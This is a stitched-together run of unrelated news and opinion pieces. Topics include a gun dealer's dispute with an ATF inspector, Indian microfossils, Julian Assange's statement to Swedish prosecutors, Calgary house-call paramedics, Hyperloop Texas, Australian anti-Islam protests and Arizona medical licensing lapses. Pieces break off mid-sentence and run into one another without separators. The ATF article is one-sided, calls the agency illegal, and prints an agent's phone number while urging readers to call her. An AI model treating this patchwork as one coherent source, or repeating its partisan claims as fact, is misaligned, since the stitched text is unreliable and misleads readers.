"No such rule or regulation prescribed after the date of the enactment of the Firearms Owners' Protection Act may require that records required to be maintained under this chapter or any portion of the contents of such records, be recorded at or transferred to a facility owned, managed, or controlled by the United States or any State or any political subdivision thereof, nor that any system of registration of firearms, firearms owners, or firearms transactions or dispositions be established. Nothing in this section expands or restricts the Secretary's authority to inquire into the disposition of any firearm in the course of a criminal investigation."
While the first day of the audit produced no problems, except some corrections that needed to be made on ATF's end, Chabot said that ATF employee Wayne Bettencourt produced a handheld scanner, approximately the size and shape of a large marker, and began to go through the bound book of ATF 4473 forms and attempted to scan all the pages of the documents, which contain over 1700 forms from gun sales and transfers.
Chabot confronted Bettencourt about his illegal procedure and Bettencourt said he has the authority to do it. Chabot said he did not and told the agent that if he were willing to give him a written statement that he had that authority, he would not stop him from scanning. This was an attempt to hold the agent accountable.
According to Chabot, "Bettencourt vehemently refused to provide me with anything signed by him or other ATF authorities, and made the ridiculous claim that the records were the property of the ATF and he could do with them what he liked, and that if I kept refusing him, he would be back with an administrative warrant so that he could just take the records that I am bound by federal law to father and maintain. I again refused to allow Bettencourt to illegally copy my records, at which point he told me that I should be careful not to make the investigation about me, and that'my license depended on how well I worked with him.' This was clearly a threat intended to let me know that if I did not allow him to perform the illegal activity of copying my bound books, he would retaliate and that my Federal Firearms License was at risk."
In other words, Bettencourt seems to have been extorting Chabot in order to illegally seize customer information, ie. create a national gun registration database.
Mr. Chabot went on to say, that after he continued to refuse Bettencourt's illegal actions, Bettencourt said he had legal investigations to conduct and didn't want to be interfered with. However, since no warrant had been produced, Chabot stood his ground, noticing "that Bettencourt seemed to be scanning chiefly the A&D pages and especially concentrating on every woman and on every person who had purchased more than one firearm in a week."
At that point, Chabot told the agent to stop using his scanner and told the agent to provide him with a list of the criminal cases he was alleging to be investigating. Bettencourt was unable to produce a list.
Bettencourt became angry and belligerent, angrily repeating his previous statements about taking the records through administrative warrants and threatening Chabot's licenses. To the best of Chabot's knowledge, Bettencourt does not have investigative authority to even allow for any type of criminal investigation, as his job encompasses records keeping compliance, not criminal investigation.
Following that issue, the audit seemed to go well. However, when Bettencourt returned on August 16, 2013 to follow up, he demanded Chabot exit his shop, told him to get a good lawyer because, in Chabot's word, "he was going to see to it that there was an administrative warrant taken out on my business ASAP, and that he would be taking my records."
While Bettencourt couldn't understand his own illegal actions and that fact that Chabot was standing up for his customers and the law, he was apparently threatening Chabot's livelihood for not allowing him to break the law and scan any records he wanted to.
Bettencourt returned again on August 29, 2013 and attempted to scan documents once again, and once again Chabot stopped him from doing so.
On October 9, 2013, Bettencourt returned once more and attempted the same illegal action. Chabot said, "I told him that not only was it illegal, but that I felt I was personally liable and ran the risk of being sued by my customers if their personal information, including social security numbers, got out. I told Bettencourt that I would allow the scanning only with a warrant or a signed statement attesting to the legality of the scanning. Bettencourt finally told me that the audit was finished and once again angrily responded that he would not be signing anything and yelled at me that he would be working toward revoking my current FFL's and making sure the application for the FFL for my new location was denied."
Chabot contacted Bettencourt's supervisor in Boston, Agent Linda Champagne, who told him that if the agent didn't get to copy or scan his records, the ATF would pursue the revocation of his current license and deny his application for the new shop he was working on. This is in clear violation of the law.
Chabot says that he has spoken to numerous agents in various federal agencies and they have all expressed concern over the cavalier attitude of the ATF. And why shouldn't they? Anyone remember Waco? How about Ruby Ridge? Fast and Furious? Yes, all of those were the product of the ATF, an illegal and unconstitutional federal agency.
In speaking to Mr. Chabot to confirm the situation, he referred us to his attorney, Penny Dean, who asked us to postpone an interview for a couple of weeks until they have obtained certain witnesses in the matter, which we agreed to do. Our desire is not to make it more difficult for justice to be brought to bear in the matter. However, Ms. Dean did encourage us to report on Mr. Chabot's letter to his Senator, Susan Collins, which is where the bulk of this article comes from.
Phil Chabot did tell Freedom Outpost that he does want other gun dealers to stand up against illegal actions by the ATF for the sake of their customers privacy. I applaud his efforts to stand his ground, based on the law.
Perhaps you would like to contact Agent Linda Champagne and ask her why she would extort Pac N Arms in such a fashion to illegally obtain customer's gun records. Her number is 617-557-1200. While you are at it, maybe you would like to contact Senator Susan Collins and find out why she is not standing for her constituents against a rogue federal agency that is engaging in illegal activity against US citizens.
We'll provide an update as soon as Mr. Chabot's attorney gives us the go ahead for an interview. For more on how the ATF works to manufacture crime, I suggest reading the excellent article found at National Review.India keeps making headlines for outstanding pre-historic findings and this time a scientist has found two billion-year-old microfossils. Naresh Ghose, the geologist from India's southern city Bangalore, has found the microfossils and claimed that it belongs to earth's oldest-known form of life.
During Geological Congress in Nagpur, Ghose announced that he found the prokaryotic fossils from the Gwalior basin of the Bundelkhand region near Jhansi, which is a historic city situated in India's northern state of Uttar Pradesh.
Microfossils are smaller than 1mm in size and usually found in rocks and sediment. These are actually remains of bacteria, fungi, animals, and planktons, which require microscopes to study them.
The former professor of Patna University, Ghose said that the shape and distribution of the occurrences of the microfossils in carbonaceous material, strongly support the debris to be that of a micro-organism.
"The present study reports for the first time the presence of 'organogenic' microfossils --- derived from living organisms -- in black shale immediately underlying the volcanic rock of the Gwalior basin," said Ghose.
"Therefore, the microfossils (Prokaryotic-RNA cell) in the Gwalior basin may be regarded as the confirmed oldest existence of life dated about 2,000 million years ago ever to be recorded from the Indian subcontinent," he further added.
During the discovery of the microfossils, Ghose was studying sections of sediment, which contained a mixture of siliceous black shale, with fine layers of limestone and particles of river-borne and volcanic origin.
The Indian scientist also said that "this important discovery was made using a simple and inexpensive device like a microscope without the aid of any sophisticated instrument," which will help to encourage his fellow citizen, who are willing to discover something new but couldn't execute because of the financial issue.
Earlier this month in India's northern region Uttarakhand, a mysterious fossil was discovered which looked like a T-Rex but local authorities did not confirm whether it was a dinosaur or not.
Even in October, a study led by a group of researchers from KSKV Kutch University had discovered a fossilized skeleton of a creature from Jurassic era. Guntupalli Prasad from the University of Delhi, India, and other researchers have published a study where they stated that 5.5m long fossil, most probably connected to Ophthalmosauridae family was found in the Kachchh area in Gujarat, India.14/15 NOVEMBER 2016 QUESTIONING AT THE ECUADORIAN EMBASSY
LEGALLY PRIVILEGED
You have subjected me to six years of unlawful, politicized detention without charge in prison, under house arrest and four and a half years at this embassy. You should have asked me this question six years ago. Your actions in refusing to take my statement for the last six years have been found to be unlawful by the UN Working Group on Arbitrary Detention and by the Swedish Court of Appeal. You have been found to have subjected me to cruel, inhuman and degrading treatment. You have denied me effective legal representation in this process. Despite this, I feel compelled to cooperate even though you are not safeguarding my rights.
I. THE SWEDISH PRELIMINARY INVESTIGATION
I, Julian Assange, an Australian citizen, have had my passport taken by British authorities and so cannot provide formal identification, am in a situation of arbitrary detention according to the decision of the United Nations Working Group of Arbitrary Detention (UNWGAD) of 4 December 2015; a political refugee since 19 June 2012 at the Embassy of Ecuador with asylum which was granted by Ecuador on 16 August 2012, and hereby appear before the authorities of Sweden and Ecuador in the framework of a rogatory commission that has been entered between these two states, requested by the Swedish prosecutor Marianne Ny, and declare that:
1.I ratify what has been expressed by my Ecuadorian lawyer, both in relation to this procedure today and the concerns about the procedure pursued against me in Sweden, including the failure to allow my Swedish lawyer to be present and the failure to provide me with exculpatory and other discovery material, which I have, to date, not been given proper access to, including in the preparation for this statement today. 2.Today, 14 November 2016, after having made myself available to the Swedish authorities since the start of this outrageous process six years ago, I am finally given the opportunity to give my statement to the Swedish preliminary investigation. I am grateful to Ecuador for attempting to facilitate this process in the circumstances where the Swedish prosecutor has declined, since 2010, to accept this, my first statement on the allegation against me. 3.I went to Sweden on 11 August 2010. During my stay, I met a woman (hereinafter called ”SW”). On the evening of 16 August, 2010 she invited me to her home. During the night and in the morning we had consensual sexual intercourse on several occasions. 4.I therefore could not believe my eyes when five days later I saw a headline in a Swedish tabloid that I was suspected of a crime and arrested in my absence. I immediately made myself available to the Swedish authorities to clarify any questions that might exist, although I had no obligation to do so. 5.That same day (21 August 2010), the Chief Prosecutor of Stockholm, Eva Finné, dropped the arrest warrant against me and within days would close the preliminary investigation with the finding that no crime whatsoever had been committed against the woman “SW” (who is the subject of this procedure). I drew the conclusion that, other than the worldwide damage to my reputation caused by millions of web pages saying that I was “wanted for rape”, my life, in this respect, would return to normal. 6.On 23 August 2010, the Chief Prosecutor of Stockholm, Eva Finné stated she "made the assessment that the evidence did not disclose any offence of rape". 7.On 25 August, the Chief Prosecutor found that "The conduct alleged disclosed no crime at all and that file (K246314-10) would be closed". 8.A week later, I learned to my surprise that a different prosecutor by the name of “Marianne Ny” had reopened the preliminary investigation without any consultation or opportunity for me to be heard – after I had already been cleared and the case had been closed. 9.That prosecutor eventually issued an extradition warrant against me, supposedly to take my statement, even though I left Sweden with her permission and in good faith, and had repeatedly tried to see if the prosecutor was ready to accept my statement. I had not and have still not been charged with a crime. 10.It has taken more than six years for the prosecutor to now obtain my statement. The delay is entirely caused by the prosecutor who re-opened the closed preliminary investigation. A prosecutor is, according to Swedish law (Chapter 23, Section 4 of the Procedural Code), obligated to conduct the preliminary investigation as expeditiously as possible and when there is no longer reason for pursuing the investigation, it shall be discontinued. At the preliminary investigation phase, the prosecutor is obligated to take into account all the circumstances: those against the suspect as well as those circumstances in |
. officials are revamping guidelines for taxis once again, mandating that the more than 7,500 vehicles be equipped with digital meters and Apple pay technology by summer 2017. The move comes just four years after Washington’s last upgrade, as city officials seek to keep the fleet competitive with options such as Uber and Lyft. (Luz Lazo)
-- Maryland’s health department announced the first case of seasonal flu has been diagnosed in the state this autumn, occurring nearly one month earlier than last year. Officials said the patient was not hospitalized. (Martin Weil)
-- “America’s Got Talent” host Nick Cannon is taking classes at Howard University this fall, working towards a legal communications degree as he continues to advocate on behalf of black communities and youth empowerment. One of his courses takes place behind the bars of a D.C. prison, where students learn about the criminal justice system alongside a group of prison inmates. (Perry Stein)
-- Always dreamed of living in the White House but haven’t quite managed to get there yet? Two “replica White Houses” modeled after the real things are now on the market in the McLean area. They’re just two miles apart, but even the bootleg versions will run you a couple million. (Steve Hendrix)
VIDEOS OF THE DAY:
John Oliver went after Republican senators for their meek reactions to Trump's lewd comments (warning: profanity):
Brooke Baldwin was speechless at a Trump supporter's cringeworthy reference to the "Oral Office" on live television:
Former New York Lt. Gov. Betsy McCaughey also spoke on Trump's behalf during a separate CNN segment:
Trump supporter on CNN argues that Hillary Clinton should denounce Beyonce for Red Lobster lyrics. JFC pic.twitter.com/DOClZMOTHH — Parker Molloy (@ParkerMolloy) October 11, 2016
Remember Ken Bone, the undecided voter in the red sweater? He became a viral sensation -- our videographer did a piece on him:
Stephen Colbert responded to the second presidential debate -- and gave an adorable cat a cameo:
Seth Meyers broke down the fallout of the leaked tape scandal:
Glenn Beck has entertained voting for Clinton, he told Vice:
Van Jones went off on Trump in the context of race in this Facebook video:
Someone cut together clips of the debate to show Trump and Clinton singing "Time of My Life" -- enjoy:
Here is a supercut of clips from Trump defending the Clintons in the 1990s and then viciously lashing out at them now:
How a drone and Twitter helped rescue a veteran stranded in North Carolina:A Calgary medical program that reinvented the old-fashioned house call has become so popular it can't keep up with demand, preventing as many as 4,500 emergency room visits this year alone.
The Community Paramedic Program provides help — ranging from electrocardiograms to blood transfusions — to seniors and people with chronic diseases or disabilities right in their own home.
Three years ago, when the first paramedics started making house calls, they saw about 1,600 patients. This year, they're on track to see 6,000 patients, including Deb Cousins, who has been living with Crohn's disease for three decades.
The 61-year-old has nothing but praise for the paramedics.
"They really changed my life," she says. "The doctor gets to go on to another patient, I get to be at home. It's just so good for the system and so good for everybody involved in the system."
After undergoing surgery, she suffered complications that left her body unable to absorb the fluids it needs.
The program is reducing pressure on hospitals by cutting down on ER visits, says manager Ryan Kozicky. (Jennifer Lee/CBC)
She spent 51 days in hospital and was finally released into the care of community paramedics, who visited her daily for the first few months.
"I wouldn't have been allowed out of the hospital without the community paramedic program," Cousins said. "I'm happier because I'm in my home environment."
Now the crew pops in twice a week to administer IV fluids, test her blood and provide medication when it's needed.
The program allowed Cousins to go home earlier and it kept her there.
Reducing pressure on ERs
Community paramedics have prevented as many as 4,500 emergency room visits in the Calgary area this year alone.
"We're seeing a huge impact in terms of reducing pressure on hospitals and stress on patients," said Ryan Kozicky, program manager for the Community Paramedic Program.
But as the word gets out, the unit is being inundated with calls.
"It's unfortunate now that the demand has become so great, that we're turning patients away just because we don't have the resources to meet that growing demand," said Kozicky.
When that happens, urgent cases are referred to emergency rooms -—- the exact situation they're trying to avoid.
Patients with less urgent concerns can wait up to three days to be seen by the paramedics.
The team is hoping for a funding increase so it can expand from five community paramedic units to 10 and ultimately eliminate any wait-times.
Deborah Cousins has no doubt expanding the program is the right way to go.
"It just really needs to grow."Though Rand Paul's bid for the Presidency in 2016 ended after the Iowa Caucuses, he has an opportunity to rebound in 2020. Rand Paul is the libertarian-conservative son of former Texas congressman Ron Paul who retains great appeal as an outsider candidate, the type of candidate that has been successful in Republican primaries in recent years. In his 2010 run for the US Senate, Paul's primary opponent was a hand-picked ally of US Senate Minority Leader Mitch McConnell. Though his name helped him become a US Senator, Rand Paul would have to prove himself in the years that would follow. By 2016, Paul had even managed to become a strong ally of Mitch McConnell, proving that outsiders and insiders can work together.
Seizing on an Opening
In the first two years of his political career, Paul was not viewed as a major player in the political world. Fellow rising stars Governor Chris Christie of New Jersey and Senator Marco Rubio of Florida received most of the attention and press and played a larger role in Mitt Romney's presidential campaign. Christie was the early favorite of the more entrenched and moderate politicians and voters, while Rubio was well-liked by everyone, but a clear favorite of the Tea Party. And then something happened: Rand Paul filibustered a nominee to bring attention to the federal government's droning program. Paul's numbers shot up immediately, and he was now gaining an audience. His libertarian-leanings made him a natural spokesperson to promote abolishing the IRS during the tea party targeting scandal and as a privacy advocate during the NSA surveillance scandal. As the Obama administration agreed to intervene in worn-torn Syria - in which that intervention could possibly once again lead to arming terrorist-supporting forces - Paul's opposition was sound.
In 2013, nearly every breaking story was starting to play perfectly into Paul's political realm as Rubio's ill-advised enforcement-free immigration push led to a quick erosion of conservative support.
A Libertarian-Conservative Platform
A Rand Paul candidacy could possibly shake up the field like no other candidate outside of, say, Sarah Palin. Paul would likely be the most fierce advocate for federalism and limited government. His state's right approach on issues ranging from gay marriage to marijuana legalization is one in which the grassroots of the Republican Party is rushing to following years of being let down by big government Republicanism. Paul would be less prone to agreeing to big government programs out of fear of being attacked by the media. He would also likely have the least interventionist foreign policy of all the candidates. Foreign policy is an area where the Republican party desperately needs to have an honest talk about the United States' proper role. After 8 years of what is turning into one foreign policy disaster after the next, 2016 may be the perfect time to have that debate. Too often, Republicans seem too afraid to just say not to supporting interventionist policies. The debate is needed.
While Paul leans very libertarian overall, he is not a socially-liberal libertarian. He is very pro-life and has stood up for life. If anyone can make the argument that you don't have to hold Christian beliefs to realize that a life is a life, Paul might be that guy. On Economic policy, he is good on taxes, subsidies, and opposing crony capitalism. He is a strong supporter of the 2nd Amendment. He joined fellow tea party star Ted Cruz in opposing the Rubio immigration plan. Does Paul have flaws? Of course. But he is firmly entrenched on the liberty and freedom side of the GOP, perhaps more-so than any other potential candidate.
Electability
Which brings us to the most important question: is Rand Paul electable? While Paul became a viable US Senate candidate mostly because of who is father was, he is in many ways very different than his father. His father was never taken seriously by most observers. Whether it was his larger-than-reality personality or some of the positions he took (and the way he explained them), Ron Paul was just never a mainstream kind of candidate. Rand Paul is different on many levels. Paul is more measured in his approach. He is naturally gifted in debating points that most conservatives wouldn't touch. He knows how to pick his battles and knows how to not step into a trap. As a politician, Rand Paul is proving to be vastly superior to his father.
His appeal can also be broad. He is now a grassroots conservative favorite, though he lost the battle of outsider to both Donald Trump and Ted Cruz in 2016. He has had some trouble convincing the more interventionist crowd on his foreign policy, and would need to work on that portion of his platform before launching another bid. His argument does have some appeal: We are tired of funding nations run by people who hate us; We are tired of arming "rebels" who wind up being more extreme than the people we wanted overthrown, and then get attacked with our own weapons. Obama ran on "change" in foreign policy and has been no less interventionist or check-write happy than any of his predecessors. Rand Paul needs to find the right balance on foreign policy that both adheres to his beliefs and exhibits strength and resolve when necessary.Texas Central's plan to build a bullet train line from Houston to Dallas is still in the works but now, intriguingly, there could be some new competition to bring rapid-speed mass transit to connect Houston and other major cities in Texas.
Hyperloop Texas, a proposal between engineering firm AECOM and various state agencies, has been selected as one of ten finalists of the Hyperloop One Global Challenge, a competition to find the most promising routes to build lines of large vacuum tubes that will transport people via pod cars shooting through the system at 700 mph.
The idea may sound like science fiction — which isn't surprising since it comes from Elon Musk, the founder of Tesla and SpaceX and this era's apparent king of the so-crazy-it-might-actually-happen-in-the-nearish-future ideas — but basically it's a large-scale version of the bank teller system people have used for drive-through banking for decades.
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Specifically, the new concept is based on the "very high-speed transit system," an idea first pitched in 1972 as a train that floats on magnets and travels by being sucked through a low-pressure tube. Musk describes the Hyperloop as "a cross between a Concorde, a railgun and an air hockey table."
Musk's company, Hyperloop One, selected AECOM's pitch to build a "Texas Triangle" system that would allow travelers to get from Houston to San Antonio in 21 minutes, and San Antonio to Austin in only eight minutes. The 250-mile trek from Houston to Dallas would be roughly 48 minutes (although that excludes station stops.)
The Texas project is appealing to Hyperloop for the same reasons that the Houston-to-Dallas line made so much sense for Texas Central.
For one thing, Texas is massive and a lot of it is fairly flat, the kind of land that is good for farming and ranching or for building a major transportation project that would allow people to have choices other than flying or driving to get to one of the other cities.
Like Texas Central, Hyperloop researchers noted how the state's population has grown in the past decade and will continue to increase in the coming decades. More people in the state means more people needing to travel across the state, which will lead to choked roads and jam-packed flights with tickets selling for exorbitant rates, the logic goes.
And there will be more people going between the cities because Texas has an ever-increasing number of "super-commuters," people who drive more than 90 minutes or 180 miles to get to work. And only some of these people are simply recording their 90-minute commutes to get across Houston traffic. A New York University study found the number of super-commuters going between Houston and Dallas-Fort Worth has tripled since 2002 and the number traveling between Houston and either Austin or San Antonio has doubled.
When you add in the fact that much of the land between the largest cities in the state is still being used to farm or run cattle — meaning it hasn't been heavily developed — Texas makes a lot of sense.
But here's where things get interesting, because while the motivators behind choosing to focus on Texas lines are the same for both companies, it's arguable that Texas Central's plan to use Japan's famed Shinkansen technology to build its high-speed rail line is much more tangible and possible than what Hyperloop One is offering so far.
Japanese bullet train systems have been running since Japan Central (of which Texas Central is an offshoot) opened the first line between Tokyo and Osaka in 1964. Nowadays, Japan's Shinkansen trains are not the only high-speed rail lines on the market, but they are still the ones with the best record for both punctuality and safety. In more than 50 years of running, there has never been a fatality in a Japanese bullet train accident, an impressive feat considering a 2011 accident on one of China's high-speed rail lines killed 40, and in 2013 a Spanish high-speed train derailed, killing 79.
Texas Central's plans are based on proven technology, while the Hyperloop is still in fairly early planning stages, and has no record of any kind. In May 2016, the first Hyperloop test featured a 1,500-pound hunk of metal shooting down a short track and crashing into a pile of sand.
When the second test was conducted a year later, last May, the Hyperloop pod did better, floating above the track for about five seconds and reaching a speed of 70 mph, and in July the test was better still. The pod raced down a 500-meter-long test track in Nevada, reaching 192 mph before gliding to a stop. No crashing into sand that time around.
Despite all of this, many are already comparing Hyperloop and Texas Central and finding Texas Central wanting because Hyperloop is being pitched as a mode of transportation that will be completed and transporting freight by 2020 and passengers by 2021. In other words, the plan is to have the Hyperloop up and running two years before Texas Central's line, at nearly twice the speed of a bullet train.
That may sound enticing, but there's a catch. All of Hyperloop's plans are hypothetical at the moment. Aside from the fact that a single working line has yet to be built, the Hyperloop will have to go through the same regulatory procedures that Texas Central is now wading through, including a feasibility study and environmental review, a process that takes at least two years to complete. From there, Hyperloop officials will have to find a way to actually obtain land to build their lines on — either by buying it or forcing owners to sell through eminent domain.
Texas Central has already run into fierce opposition from people living along its proposed line, as we noted in our 2015 cover story. However, so far Hyperloop isn't even on the radar for Texans Against High-speed Rail, the anti-bullet-train group, founder Kyle Workman says.
“People love looking into the future and the idea of new technology, but when it gets a little closer to becoming reality, some of them are going to change their minds,” Workman says. Facebook
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"We're not paying a lot of attention to it, because it's early. But it's new, and that's something. With the high-speed rail line, that's old technology that's been around for 50 years, compared to Hyperloop, which is in front of us, a part of the future,” Workman says.
Still, Hyperloop apparently has one thing Texas Central has lacked — backing from elected state officials and some state agencies. Members of the Texas Legislature have filed bills in the past two biennial legislative sessions seeking to stop Texas Central from building its high-speed rail line, and so far the company has received very little in terms of government support.
That's not the case with Hyperloop. U.S. Representative Joaquin Castro, a San Antonio Democrat, publicly called on Hyperloop via Twitter back in July to build in Texas, and state legislators have also issued statements expressing their support of Hyperloop. On top of that, the Texas Department of Transportation has even partnered with Hyperloop Texas to come up with the Texas Triangle route proposal that has been selected as one of ten finalists to become Hyperloop One's first site.
Workman, the high-speed-rail opponent, says Hyperloop representatives have been contacting him, asking about how they can avoid attracting the opposition of Workman's group as their project moves forward. He explained that if they don't try to use tax dollars or eminent domain powers to construct their project, there will be no reason for anyone to oppose them. But he also admits that it may not be quite that simple if and when the Hyperloop project comes to fruition.
“People love looking into the future and the idea of new technology, but when it gets a little closer to becoming reality, some of them are going to change their minds,” he says. “Realistically, it's a lot more appealing before there's a line on a map. Before there was a line on a map running through Leon County for the bullet train, county officials would have said they were all for the idea. It was only after they saw it would run through the county that they changed their minds.”Anti-muslim protesters stage a counter-protest after the planned Muslim demonstration was cancelled outside the State Library in Melbourne. Picture: Stuart McEvoy
A SERIES of anti-Islamic protests planned for every Australian capital city and promoted by members of marginal, anti-immigration political groups were effectively suppressed by police yesterday.
Despite trying to organise co-ordinated protests, demonstrators ultimately took to the streets only in Melbourne and Perth, with Sydney -- scene of the previous weekend's running battles between police and young Muslim men -- remaining quiet.
In Melbourne, members of the right-wing Nationalist Alternative were among a small crowd, which also included Muslims and atheist groups, who gathered outside the state library.
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Speaking to the crowd through a microphone, one of these men said the former Victorian attorney-general Rob Hulls had gone too far when he changed the laws to make religious vilification illegal.
Under the gaze of dozens of police officers, the demonstration eventually ended without incident.
In Sydney, two men were arrested on Friday for allegedly using social media to incite violence over the weekend.
The pair was reportedly trying to whip up anti-Islamic sentiment, following the previous weekend's protests in the city against an online film, Innocence of Muslims, that ridicules the Islamic faith.
Eleven people have been charged over this violence, in which four people were taken to hospital. NSW Police commanders will continue to investigate those involved.
A number of other protests had been planned for Sydney, police said, with supporters of the anti-immigration Australian Protectionist Party among those who said they would demonstrate outside the NSW parliament.
A petition on Facebook had called for protests in every state and territory capital, saying the previous weekend's violence "once again shined a light on the darker side of Islam".
"It is time that we as Australians stand up and defend our land from this extremist behaviour," it said.
With hundreds of extra police in the Sydney CBD, however, no such demonstration took place.
The NSW Premier, Barry O'Farrell, said the extra police had "exerted control".
"I think they've told people that this sort of extremism, this sort of violence, is unwelcome in any community," he said.
Police also outnumbered protesters in Perth, with less than a dozen turning up to an anti-Islam demonstration outside parliament house.
One of those, who gave his name only as Tony, said he was concerned that Australia was being too influenced by Islam.
"This is a country where people are free to express religious beliefs, but when you have one group of people that want to impose their religious and political beliefs, the average Australian should be concerned about it," he said. "This country has accepted people of all races, creeds and colours but the violence people are prepared to use is unacceptable. If it was a group of Catholics, I would still be here."
West Australian Premier Colin Barnett said the violence in Sydney represented a dark day for Australia. "One of the great things about Australian society is people from all different races and backgrounds and religions have been able to live happily and peacefully together," he said.
"I will always support the right for people to protest... so long as they do it in a peaceful way. Unfortunately, in Sydney last weekend, it got out of control."
ADDITIONAL REPORTING: AAPMarc Gene has unofficially beaten the track record at the Laguna Seca circuit in the USA driving a 2003 Ferrar1 F2003-GA.
Gene was driving the car at the Ferrari Racing Days event at the California circuit. He covered the 3.6km (2.24-mile) circuit in 1’05.78.
That beats the previous fastest time of 1’05.88 set by Sebastien Bourdais driving a Panoz DP01 Champ Car in 2007.
Although F1 has never raced at the famous circuit, home of the Corkscrew corner, Ricardo Zonta set a 1.06.30 in a Toyota TF106 at the track in 2006.
Champ Car last raced at the circuit in 2004. A1 Grand Prix made a single visit to Laguna Seca in 2006.
Pictures: Marc Gene in a Ferrari F2003-GA at Laguna Seca
See more pictures of the car here:
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Images?�?� Ferrari spa/Ercole ColomboThe Republic | azcentral.com Thu Oct 10, 2013 9:33 PM
A day after a state investigation revealed that thousands of Arizona medical licenses were improperly vetted, state officials all the way up to the Governor’s Office were silent about how they intend to address the situation.
Patients who’ve had questionable procedures, however, were anything but silent.
Loyd Eskildson, 71, said members of the Arizona Medical Board should be more responsive to the public they serve.
He broke his leg, and after a doctor improperly reset it, Eskildson said he couldn’t walk at all.
Six months later, another doctor reset the lower portion of his leg and replaced his knee, which was affected by the bad reset.
Eskildson said he filed a complaint with the Medical Board, but he said it was dismissed.
“It’s important we have some knowledge of those providing good care and who isn’t,” the Paradise Valley resident said. “We keep getting all this advice that consumers should be more careful about who they go to — and it’s mostly in terms of cost — but heck, I’m more interested in quality.”
Eskildson said he doubts significant changes will come as a result of the report: “I know they’re not going to do anything.”
On Wednesday, the Arizona Ombudsman-Citizens’ Aide released the results of a 14-month inquiry that found the state Medical Board violated an array of rules and statutes involving the way doctors’ credentials are investigated when they apply for licenses or renewals.
Kate Otting, assistant ombudsman, authored the report and said it is the agency’s most in-depth and largest in recent memory.
The Medical Board, which has been questioned about the physician-licensing lapses since at least last year, referred all questions to a public-relations consultant who wouldn’t grant an interview to The Republic.
Board Executive Director Lisa Wynn, who the report said directed staff to violate state laws in order to speed up physician licensing, was issued a letter of reprimand and continues to oversee the agency. She declined to comment on Thursday.
The wall of silence extended all the way up to Gov. Jan Brewer’s office and the upper echelons of state government. Neither Brewer, who appoints board members, nor her representatives, responded to requests by The Republic to address issues raised in the report.
Arizona Attorney General Tom Horne’s office also would not comment on how the agency would handle a recommendation that it investigate allegations that Wynn and a former deputy director broke the law.
The Arizona Auditor General’s Office would not talk about how it would proceed on a recommendation that it review qualifications of all physicians licensed by the board since fall 2011.
Approximately 2,000 medical licenses or renewals were issued to physicians in the state during that time period, the ombudsman’s report states.
The investigation substantiated 19 of 20 allegations flagged by Medical Board employees, including that they failed to properly investigate physicians’ licensing credentials as required by law and allowing physicians to illegally dispense prescription drugs.
The report also alleges that Wynn and former Deputy Director Amanda Diehl directed staff to implement new policies to circumvent state laws.
Wynn denied the allegations in a response to the ombudsman; Diehl could not be reached for comment.
During the time period in question, both received pay raises.
Records provided late Thursday by the Department of Administration show that Wynn in November 2011 went from making $117,600 yearly to $125,800 yearly. Then in June, she received another raise and now makes $132,090 a year.
Diehl made $105,340 a year from 2010 to November 2011. She was making $112,700 at the time she left the agency in March.
In interviews with the ombudsman’s office, Wynn and Diehl said their motivation for expediting the licensing process in 2011 stemmed partly from physicians’ demands.
Wynn also blamed a moratorium on rule-making issued by Brewer and a legislative emphasis on reducing regulations and increasing efficiency.
The board also was insulated from the recession-era budget cuts that decimated other state agencies. The Medical Board is among 30 state boards and commissions that are self-supporting through fees paid by those they regulate.
Its budget has grown by almost 20 percent over the past three years, to $5.7 million, and the number of overall staff members has remained constant at 58, though there has been a marked drop in the number of licensing agents.
In a statement issued Wednesday, board Chairman Gordi Khera said the 12-member board takes the ombudsman’s report “very seriously” and is working to remedy the problems.
Asked if the public should be concerned about issues raised in the report, publicist Gordon James, who was hired to handle the board’s media inquiries, responded, “Absolutely not — of course not.” He would not elaborate.
Rep. Heather Carter, R-Phoenix, said the Legislature should ensure that an internal board review of more than 2,000 medical licenses granted or renewed since September 2011 is thorough.
“We need to be absolutely certain that this group of 2,000 have the appropriate credentials to be doing the medical work that they’re doing,” said Carter, who is chairwoman of the House Health Committee. “Whatever steps we have to take as a Legislature to make that happen, I think we need to consider that.”
Lawmakers have been aware of problems at the Medical Board at least since 2012.
They approved legislation this year requiring the agency to follow its own rules by verifying applicants’ previous hospital affiliations and employment and checking licensing boards in other states.
Dr. Mary Rimsza, a pediatrician who directed a study on Arizona’s doctor shortage, said the board must strike a balance between doing quick but thorough reviews.
According to the report, the board’s licensing staff went from 14 to four during a period when licenses were being issued in a matter of days. The average time for a new license to be issued in other states is nearly two months.
“It does take a long time to go through the process of doing primary reviews. And yet, it’s something that needs to be done,” Rimsza said.
“I find it hard to believe that you could cut the staff from 14 to four and be able to provide the same level of review.”
David Derickson, a former Superior Court judge who now practices law, said the ombsudsman’s report highlighted serious problems that could pose costly liability risks for the state.
“If a physician who shouldn’t have had a license had been licensed and has committed an act of malpractice, then there’s a potential for the person who’s been harmed to file a lawsuit against the state, which would be very bad,” Derickson said.
He said a lack of resources or attempting to deregulate an industry “is not an excuse” for violating the law.
“It’s an explanation and not a very good one,” he said, adding that Wynn and the board should have sought legislative changes and not unilaterally implemented new procedures.
James could not answer why the board chose to reprimand Wynn with a one-page letter, saying many discussions involving the report took place behind closed doors.
He said he could not make board members available, saying, “To be honest with you, I’m not sure there’s anything to be gained. … These are civilians — volunteers.”
Tenley Oberhaus, dubbed “LC-X” in the ombudsman report, triggered the investigation in August 2012 after she told the officials the board may be licensing unqualified doctors. She told The Republic that Wynn should be fired.
Oberhaus resigned as an assistant licensing manager in February because, she said, Wynn and Diehl retaliated against her for airing her concerns and created a hostile environment after she reported their alleged activities to the ombudsman.
“I couldn’t take it,” Oberhaus said. “I tried to stick it out and tried to stick it out, thinking, ‘When is this report going to be done?’ ”
Oberhaus said it is important that staff use primary verifications when reviewing physician histories to ensure the board and the public have access to the most accurate information to determine whether doctors should be allowed to practice medicine.
“By not doing any of the verifications right … we don’t know who’s safely out there,” she said. “What does it take? A dead body? What does it take for someone to say, ‘This is wrong?’ ”
Reach the reporters at yvonne.wingett@arizonarepublic.com and maryk.reinhart@arizonarepublic.com.A Design Revolution...
“Most bicycles are fundamentally the same... and its about time someone mixed things up a little”. This was the view we shared back in 2013 when we first started sketching and developing new bike designs. We wanted to design a bike that was cool and different, but at the same was simple in its design and delivered excellent ride quality and control. At a time when fixed gear/single speed bikes are so popular, we knew we needed to come up with a bike that was truly unique and one that cyclists would be proud of riding. Judging by the response from both the industry and public we certainly believe we have met these ambitions.
